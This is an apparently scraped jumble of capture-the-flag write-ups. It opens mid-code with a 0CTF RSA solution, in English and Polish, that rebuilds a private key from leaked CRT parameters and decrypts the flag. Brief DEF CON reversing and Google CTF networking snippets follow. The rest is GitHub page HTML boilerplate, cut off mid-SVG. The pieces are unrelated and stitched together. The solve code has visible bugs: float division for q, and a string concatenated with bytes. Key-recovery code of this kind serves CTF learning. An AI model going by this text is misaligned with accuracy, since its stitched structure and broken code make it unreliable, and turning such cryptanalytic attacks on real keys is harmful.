with open("flag.enc", "rb") as input_file: n = p * q data = input_file.read() ct = bytes_to_long(data) d = get_d(p, n, e) pt = pow(ct, d, n) print("pt: " + long_to_bytes(pt))```
Which gives us `0ctf{Keep_ca1m_and_s01ve_the_RSA_Eeeequati0n!!!}`
###PL version
Dostajemy obrazek:
Z którego możemy odczytać base64 części klucza prywatnego rsa:
```Os9mhOQRdqW2cwVrnNI72DLcAXpXUJ1HGwJBANWiJcDUGxZpnERxVw7s0913WXNtV4GqdxCzG0pG5EHThtoTRbyX0aqRP4U/hQ9tRoSoDmBn+3HPITsnbCy67VkCQBM4xZPTtUKM6Xi+16VTUnFVs9E4rqwIQCDAxn9UuVMBXlX2Cl0xOGUF4C5hItrX2woF7LVS5EizR63CyRcPovMCQQDVyNbcWD7N88MhZjujKuSrHJot7WcCaRmTGEIJ6TkU8NWt9BVjR4jVkZ2EqNd0KZWdQPukeynPcLlDEkIXyaQx```
Następnie doczytaliśmy trochę na temat kodowania ANS1 DER ( https://en.wikipedia.org/wiki/Abstract_Syntax_Notation_One#Example_encoded_in_DER ) oraz na temat zawartości klucza prywatnego rsa w podanym formacie.Wygląda na to że cały klucz zawiera:
```RSAPrivateKey ::= SEQUENCE { version Version, modulus INTEGER, -- n publicExponent INTEGER, -- e privateExponent INTEGER, -- d prime1 INTEGER, -- p prime2 INTEGER, -- q exponent1 INTEGER, -- d mod (p-1) exponent2 INTEGER, -- d mod (q-1) coefficient INTEGER, -- (inverse of q) mod p otherPrimeInfos OtherPrimeInfos OPTIONAL}```
A sama ekstracja danych jest dość prosta - znajdujemy bajt `02` który oznacza początek integera a następny bajt oznacza liczbę bajtów składajacych się na liczbę.Przytowaliśmy więc prosty skrypt:
```pythondef get_dp_dq_qinv(key64): result = [] key_tab = list(b64decode(key64)) print(key_tab) i = 0 while i < len(key_tab): x = key_tab[i] if x == 0x2: # integer start length = key_tab[i + 1] octets = key_tab[i + 2: i + 2 + length] value = int.from_bytes(octets, byteorder="big") result.append(value) print(value) i += 2 + length else: i += 1 return tuple(result)
dp, dq, qinv = get_dp_dq_qinv(key64)```
Który dał nam 3 integery, które (zgodnie z formatem klucza prywatnego) oznaczają dp, dq i qinv.
dp = 11188888442779478492506783674852186314949555636014740182307607993518479864690065244102864238986781155531033697982611187514703037389481147794554444962262361
dq = 1006725509429627901220283238134032802363853505667837273574181077068133214344166038422298631614477333564791953596600001816371928482096290600710984197710579
qinv = 11196804284042107547423407831525890933636414684075355664222816007929037065463409676450144484947842399975707117057331864113464711778199061912128258484839473
Znamy też co prawda część niskich bajtów czynnika pierwszego `q`, ale nie jest nam to potrzebne.Postępujemy zgodnie z algorytmem zaproponowanym w https://eprint.iacr.org/2004/147.pdf i implementujemy algorytm odzyskiwania klucza:
```pythondef recover_parameters(dp, dq, qinv, e): results = [] d1p = dp * e - 1 for k in range(3, e): if d1p % k == 0: hp = d1p // k p = hp + 1 if is_prime(p): d1q = dq * e - 1 for m in range(3, e): if d1q % m == 0: hq = d1q // m q = hq + 1 if is_prime(q): if (qinv * q) % p == 1 or (qinv * p) % q == 1: results.append((p, q, e)) print(p, q, e) return results```
Który zwraca jedno rozwiązanie:
p= 12883429939639100479003058518523248493821688207697138417834631218638027564562306620214863988447681300666538212918572472128732943784711527013224777474072569
q = 12502893634923161599824465146407069882228513776947707295476805997311776855879024002289593598657949783937041929668443115224477369136089557911464046118127387
e = 65537
I teraz pozostaje już tylko odzyskać wykładnik deszyfrujący `d` przez standardoy algorytm EGCD i odkodować RSA:
```pythondef egcd(a, b): u, u1 = 1, 0 v, v1 = 0, 1 while b: q = a // b u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, a - q * b return u
def get_d(p, n, e): q = n / p phi = (p - 1) * (q - 1) d = egcd(e, phi) if d < 0: d += phi return d
with open("flag.enc", "rb") as input_file: n = p * q data = input_file.read() ct = bytes_to_long(data) d = get_d(p, n, e) pt = pow(ct, d, n) print("pt: " + long_to_bytes(pt))```
Co daje nam: `0ctf{Keep_ca1m_and_s01ve_the_RSA_Eeeequati0n!!!}` |
http://www.repo.kr/2016/05/2016-def-con-ctf-qualifier-reversing.htmlReverse me and get the flag. Get it here.<span>This program is simple, take data as input.</span>Input is checked by function.If input meets the requirements for printing flag, program shows the flag for getting score.<span></span><span>But this binary has too many branchs.</span>In these case, we can find approachable path by using symbolic execution. <span>Output is here.</span> |
https://github.com/Blystad/googlectf_writeups/tree/master/networking/opabina_regalis_input_validatio...For this I just re-used all the code from Opabina Regalis Downgrade Attack.<span>I just had to change the URI to point to /protected/token instead of /protected/secret, and it was done.</span> |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF_Writeup/2016/Defcon/legit_00002 at master · CH1M4C/CTF_Writeup · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="CA99:345B:178A4A3:1825D2D:64122951" data-pjax-transient="true"/><meta name="html-safe-nonce" content="fe227090e9eebe2891e027ab0fce24b043289c5a47e43dbe879b2118cc364a3e" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDQTk5OjM0NUI6MTc4QTRBMzoxODI1RDJEOjY0MTIyOTUxIiwidmlzaXRvcl9pZCI6IjQ0NDczMzY5NTMzMzYxNzkwMjUiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="03a80c81a9bd196b8164e3e1b929f88ec6173867755e809b8a3f1ec879a1d322" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:59544007" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to CH1M4C/CTF_Writeup development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/aa0c7f6c607fca02b827701916bf8bc851d4bd5e0f21d2adda15919013e03c0d/CH1M4C/CTF_Writeup" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF_Writeup/2016/Defcon/legit_00002 at master · CH1M4C/CTF_Writeup" /><meta name="twitter:description" content="Contribute to CH1M4C/CTF_Writeup development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/aa0c7f6c607fca02b827701916bf8bc851d4bd5e0f21d2adda15919013e03c0d/CH1M4C/CTF_Writeup" /><meta property="og:image:alt" content="Contribute to CH1M4C/CTF_Writeup development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF_Writeup/2016/Defcon/legit_00002 at master · CH1M4C/CTF_Writeup" /><meta property="og:url" content="https://github.com/CH1M4C/CTF_Writeup" /><meta property="og:description" content="Contribute to CH1M4C/CTF_Writeup development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/CH1M4C/CTF_Writeup git https://github.com/CH1M4C/CTF_Writeup.git">
<meta name="octolytics-dimension-user_id" content="8347589" /><meta name="octolytics-dimension-user_login" content="CH1M4C" /><meta name="octolytics-dimension-repository_id" content="59544007" /><meta name="octolytics-dimension-repository_nwo" content="CH1M4C/CTF_Writeup" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="59544007" /><meta name="octolytics-dimension-repository_network_root_nwo" content="CH1M4C/CTF_Writeup" />
<link rel="canonical" href="https://github.com/CH1M4C/CTF_Writeup/tree/master/2016/Defcon/legit_00002" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 